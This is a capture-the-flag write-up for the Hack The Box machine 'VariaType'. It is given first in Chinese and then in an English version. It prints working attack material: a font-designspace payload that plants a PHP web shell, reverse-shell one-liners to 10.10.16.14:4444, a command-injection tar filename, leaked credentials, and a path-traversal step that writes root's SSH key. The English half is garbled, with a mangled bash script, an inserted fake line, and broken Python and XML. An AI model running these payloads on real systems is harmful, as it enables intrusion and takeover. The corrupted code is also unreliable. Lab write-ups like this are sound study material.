htb variaType

枚举

# Nmap 7.98 scan initiated Wed Mar 18 07:47:30 2026 as: /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.227.155
Nmap scan report for 10.129.227.155
Host is up (0.41s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 18 07:47:43 2026 -- 1 IP address (1 host up) scanned in 13.25 seconds

Web

进入后可以看到一个上传文件的服务

image 162.png

了解:.designspace文件通常是用于定义可变字体(Variable Fonts)核心结构的技术文件(基于XML格式)

因为 .designspace 本质是 XML 文件,而服务器用 fonttools 解析它。考虑:XXE (XML External Entity)

根据搜索可以发现CVE-2025-66034

利用python生成文件ttf:

#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    
    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()
    
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>
  
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>
  
  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="/file/path/to/">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

尝试发现文件找不到

虚拟主机

ffuf -w /usr/share/wordlists/dirb/small.txt -u http://variatype.htb -H "Host: FUZZ.variatype.htb" -fs 169
# portal

访问http://portal.variatype.htb/得到一个登录页面

dirsearch -u http://portal.variatype.htb/ -e txt,html,php

发现git泄露

git-dumper http://portal.variatype.htb/.git ./source
git log -p --all
# 'gitbot' => 'G1tB0t_Acc3ss_2025!'

立足点

进入后发现这里存放着之前上传的文件,在爆破子目录时发现http://portal.variatype.htb/files/,运行http://portal.variatype.htb/files/.ttf的文件,发现可以下载,所以文件放在这里面。经过尝试最后推断出文件存储在../../../var/www/portal.variatype.htb/public/files/中。可以想到这两个域名共用一个文件夹,所以多半在public中。

image 163.png

最后上传

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']);?>]]]]><![CDATA[>]]></labelname>
      <labelname xml:lang="fr">MEOW2</labelname>
    </axis>
  </axes>
  <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="MyFont"
        filename="../../../var/www/portal.variatype.htb/public/files/shell.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
  <instances>
    <instance name="Display Thin" familyname="MyFont" stylename="Thin">
      <location><dimension name="Weight" xvalue="100"/></location>
      <labelname xml:lang="en">Display Thin</labelname>
    </instance>
  </instances>
</designspace>

最后访问:http://portal.variatype.htb/files/shell.php?cmd=id即可

http://portal.variatype.htb/files/shell.php?cmd=bash+-c+'bash+-i+%26+/dev/tcp/10.10.16.14/4444+0>%261'>

USER

基础枚举后发现一个文件

www-data@variatype:/tmp$ ls /opt
font-tools  process_client_submissions.bak  variatype
www-data@variatype:/tmp$ cat /opt/process_client_submissions.bak
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#

set -euo pipefail

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"

mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"

log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}

cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }

shopt -s nullglob

EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }

        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi

        log "Processing submission: $file"

        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi

        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done

if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi

上传pspy后发现:用户steve/bin/bash /home/steve/bin/process_client_submissions.sh

这个代码存在命令注入:

fontforge -lang=py -c "
    font = fontforge.open('$file')   ← $file 直接插入!
"

且有过滤:SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$’

只允许字母数字和 ._-

$file文件名直接拼接进 Python 字符串里。所以构建一个恶意的tar

#!/usr/bin/env python3
import tarfile

exec_command = "$(bash -c 'bash -i >& /dev/tcp/10.10.16.14/4444 0>&1')"

with tarfile.open("evil.tar", "w", format=tarfile.USTAR_FORMAT) as t:
    t.addfile(tarfile.TarInfo(exec_command))

ROOT

steve@variatype:~$ sudo -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

里面运用了**setuptools的download**

找到漏洞**CVE-2025-47273和**https://github.com/advisories/GHSA-5rjg-fvgr-3xxfe

image 164.png

因为我们可以控制name,发现os.path.join根据其特性:当name为绝对路径时,忽略前面的路径

cd /tmp
mkdir -p root/.ssh
sudo cp ~/.ssh/id_rsa.pub root/.ssh/authorized_keys
sudo python3 -m http.server 80
sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://10.10.16.14/%2Froot%2F.ssh%2Fauthorized_keys'

写入密钥,即可进行登录root

htb variaType

Enumeration

# Nmap 7.98 scan initiated on Wednesday, March 18, 2026, at 07:47:30, as follows:
# /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.227.155
Nmap scan report for 10.129.227.155
The host is up (latency: 0.41 seconds).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection has been completed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap completed on Wednesday, March 18, 2026, at 07:47:43 — 1 IP address (1 host up) scanned in 13.25 seconds

Web

Upon entry, a service for uploading files is available.

image 162.png

Note: .designspace files are typically technical documents used to define the core structure of Variable Fonts, and they are in XML format.

Since .designspace files are essentially XML files, the server uses fonttools to parse them. Be aware of the potential security risk associated with XML External Entities (XXE).

A related CVE (Common Vulnerability and Exposure) can be found at: CVE-2025-66034.

You can generate .ttf files using Python with the following code:

#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap {}

    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.close()

    fb.setupGlyf({".notdef": pen.glyph})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)
``` attempting to find the file, but it cannot be located.

Virtual Host

ffuf -w /usr/share/wordlists/dirb/small.txt -u http://variatype.htb -H "Host: FUZZ.variatype.htb" -fs 169
# Portal

Accessing http://portal.variatype.htb/ yields a login page.

dirsearch -u http://portal.variatype.htb/ -e txt,html,php

A git leak is detected.

git-dumper http://portal.variatype.htb/.git ./source
git log -p --all
# 'gitbot' => 'G1tB0t_Acc3ss_2025!'

Starting Point

Upon entering, it was discovered that the previously uploaded files were stored here. While exploring the subdirectories, the path http://portal.variatype.htb/files/ was found. Running the file http://portal.variatype.htb/files/.ttf revealed that it could be downloaded, so the files were placed in this location. After some attempts, it was determined that the files were actually stored in ../../../var/www/portal.variatype.htb/public/files/. It is likely that both domains share the same folder, so the files are most likely located in the public directory.

image 163.png

Final Upload

The following XML code was uploaded:

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd'];?>]]]</labelname>
      <labelname xml:lang="fr">MEOW2</labelname>
    </axis>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="MyFont"
        filename="../../../var/www/portal.variatype.htb/public/files/shell.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
  <instances>
    <instance name="Display Thin" familyname="MyFont" stylename="Thin">
      <location><dimension name="Weight" xvalue="100"/></location>
      <labelname xml:lang="en">Display Thin</labelname>
    </instance>
  </instances>
</designspace>

To access the files, simply visit http://portal.variatype.htb/files/shell.php?cmd=id.

Another command that can be used is:

http://portal.variatype.htb/files/shell.php?cmd=bash+-c+'bash+-i+%26+/dev/tcp/10.10.16.14/4444+0>%261'>

USER

After conducting a basic enumeration, a file was found:

www-data@variatype:/tmp$ ls /opt
font-tools  process_client_submissions.bak  variatype
www-data@variatype:/tmp$ cat /opt/process_client_submissions.bak
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>

Only accepts filenames that contain letters, digits, dots (.), hyphens (-), and underscores (_).

set -euo pipefail

UPLOAD_DIR=“/var/www/portal.variatype.htb/public/files” PROCESSED_DIR=“/home/steve/processed_fonts” QUARANTINE_DIR=“/home/steve/quarantine” LOG_FILE=“/home/steve/logs/font_pipeline.log”

mkdir -p “PROCESSEDDIR""PROCESSED_DIR" "QUARANTINE_DIR” “(dirname"(dirname "LOG_FILE”)”

log() { echo ”[(dateiso8601=seconds)](date --iso-8601=seconds)] *” >> “$LOG_FILE” }

cd “$UPLOAD_DIR” || { log “ERROR: Failed to enter upload directory”; exit 1; }

shopt -s nullglob

EXTENSIONS=( “.ttf” “.otf” “.woff” “.woff2” “.zip” “.tar” “.tar.gz” “.sfd” )

SAFE_NAMERegex=’^[a-zA-Z0-9._-]+$’

found_any=0 for ext in “EXTENSIONS[@]";doforfilein{EXTENSIONS[@]}"; do for file in ext; do found_any=1 [[ -f “file"]]continue[[s"file" ]] || continue [[ -s "file” ]] || { log “SKIP (empty): $file”; continue; }

    # Enforce strict naming policy
    if [[ ! "$file" =~ $SAFE_NAMERegex ]]; then
        log "QUARANTINE: Filename contains invalid characters: $file"
        mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
        continue
    fi

    log "Processing submission: $file"

    # Command injection vulnerability exists here:
    process_file "$file" || log "WARNING: Command injection detected in script"

    if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "

import fontforge import sys try: font = fontforge.open(‘file)family=getattr(font,familyname,Unknown)style=getattr(font,fontname,Default)print(fINFO:Loadedfamily(style),file=sys.stderr)font.close()exceptExceptionase:print(fERROR:Failedtoprocessfile') family = getattr(font, 'familyname', 'Unknown') style = getattr(font, 'fontname', 'Default') print(f'INFO: Loaded {family} ({style})', file=sys.stderr) font.close() except Exception as e: print(f'ERROR: Failed to process file: {e}’, file=sys.stderr) sys.exit(1) ”; then log “SUCCESS: fileprocessedsuccessfully"elselog"WARNING:FontForgereportedissueswithfile processed successfully" else log "WARNING: FontForge reported issues with file” fi

    mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
done

done

if $found_any -eq 0; then log “No eligible submissions found.” fi


After uploading the `pspy` file, it was discovered that the script `/home/steve/bin/process_client_submissions.sh` contains a command injection vulnerability.

```bash
fontforge -lang=py -c "
    font = fontforge.open('$file')   ← The file name is inserted directly here!
"

There is also a filter in use: SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$ which only allows alphanumeric characters and the _ and - symbols.

The $file variable contains the actual file name, which is directly concatenated into the Python string. This can be used to create a malicious tar file.

#!/usr/bin/env python3
import tarfile

exec_command = "$(bash -c 'bash -i >& /dev/tcp/10.10.16.14/4444 0>&1')"

with tarfile.open("evil.tar", "w", format=tarfile.USTAR_FORMAT) as t:
    t.addfile(tarfile.TarInfo(exec_command))

ROOT

steve@variatype:~$ sudo -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

The setuptools package is used in this process.

The vulnerabilities CVE-2025-47273 and GHSA-5rjg-fvgr-3xxfe have been identified.

image 164.png

Since we have control over the name variable, we can take advantage of the behavior of os.path.join: when name is an absolute path, the previous paths are ignored.

cd /tmp
mkdir -p root/.ssh
sudo cp ~/.ssh/id_rsa.pub root/.ssh/authorized_keys
sudo python3 -m http.server 80
sudo /usr/bin/python3 /opt/font-tools/install-validator.py 'http://10.10.16.14/%2Froot%2F.ssh%2Fauthorized_keys'

By writing the key to the specified location, we can log in as root.